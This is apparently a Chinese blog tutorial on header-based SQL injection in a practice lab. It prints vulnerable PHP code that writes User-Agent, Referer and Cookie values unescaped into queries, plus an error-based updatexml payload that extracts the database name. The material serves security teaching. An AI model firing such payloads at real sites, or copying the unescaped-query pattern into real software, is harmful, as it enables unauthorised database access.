赞
踩
前文中提到万能密钥的工作原理,然而万能密钥仅在源代码中没有代码审计,此时才被称之为万能密钥,而代码中有代码审计时需要分以下几种情况讨论
先看代码:
- <?php
- #提供用于连接数据库的信息(账号密码等)
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- function check_input($value)
- {
- #判断括号中的值是否为空
- if(!empty($value))
- {
- #使用substr()函数截取变量的前20个内容
- $value = substr($value,0,20);
- }
-
- if (get_magic_quotes_gpc())
- {
- $value = stripslashes($value);
- }
- #使用ctype_digit()检查变量是否全部为数字
- if (!ctype_digit($value))
- {
- #若不全是数字使用mysql_real_escape_string()转译变量中的特殊字符
- #是原先的符号实体化如单引号不再具有闭合的效果
- $value = "'" . mysql_real_escape_string($value) . "'";
- }
- else
- {
- $value = intval($value);
- }
- return $value;
- }
-
- #使用php内置函数$_SERVER[]提取http报文中的信息
- $uagent = $_SERVER['HTTP_USER_AGENT'];
- $IP = $_SERVER['REMOTE_ADDR'];
- echo "<br>";
- echo 'Your IP ADDRESS is: ' .$IP;
- echo "<br>";
-
- #使用isset()函数判断变量是否为空
- if(isset($_POST['uname']) && isset($_POST['passwd']))
-
- {
- #使用自定义函数check_input()检查使用post方式传递的账户+密码
- $uname = check_input($_POST['uname']);
- $passwd = check_input($_POST['passwd']);
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'User Agent:'.$uname."\n");
-
- fclose($fp);
-
- $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
- #使用mysql_query()将参数放入到数据库中执行
- $result1 = mysql_query($sql);
- $row1 = mysql_fetch_array($result1);
- if($row1)
- {
- echo '<font color= "#FFFF00" font size = 3 >';
- #将查询到的数据uagent,IP,uname插入数据库security中的表uagents的列uagent,ip_address,username
- $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
- mysql_query($insert);
- echo "</font>";
- echo 'Your User Agent is: ' .$uagent;
- echo "</font>";
- echo "<br>";
- print_r(mysql_error());
- echo "<br><br>";
- echo "<br>";
- }
- }
- ?>
了解完上述代码后发现,uagent没有相应的审计代码防止SQL注入,因此可以使用uagent进行注入。
演示案例:
注入工具:Burp Suite
报文修改前:
报文修改后:
当修改后的报文被发送到服务器后会执行对应的程序,代码如下:
- $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)
- VALUES
- ('1' or updatexml(1,concat('~',(select database())),3)', 2, 3) #,'$IP',$uname";
refeer注入和useagent的区别如下:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
报文修改前:
报文修改后:
- $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
- $result1 = mysql_query($sql);
- #使用mysql_fetch_array()将result1转换为数组
- $row1 = mysql_fetch_array($result1);
- #提取row1中的username值并赋值给cookee
- $cookee = $row1['username'];
- if($row1)
- {
- setcookie('uname', $cookee, time()+3600);
-
- }
-
- #生成cookie后
- if(!isset($_POST['submit']))
- {
-
- $cookee = $_COOKIE['uname'];
- echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
- }
-
- $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
- #利用sql语句是否执行成功判断输入的用户名是否等于cookie
- $result=mysql_query($sql);
- if (!$result)
- {
- die('Issue with your mysql: ' . mysql_error());
- }
修改前:
修改后:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。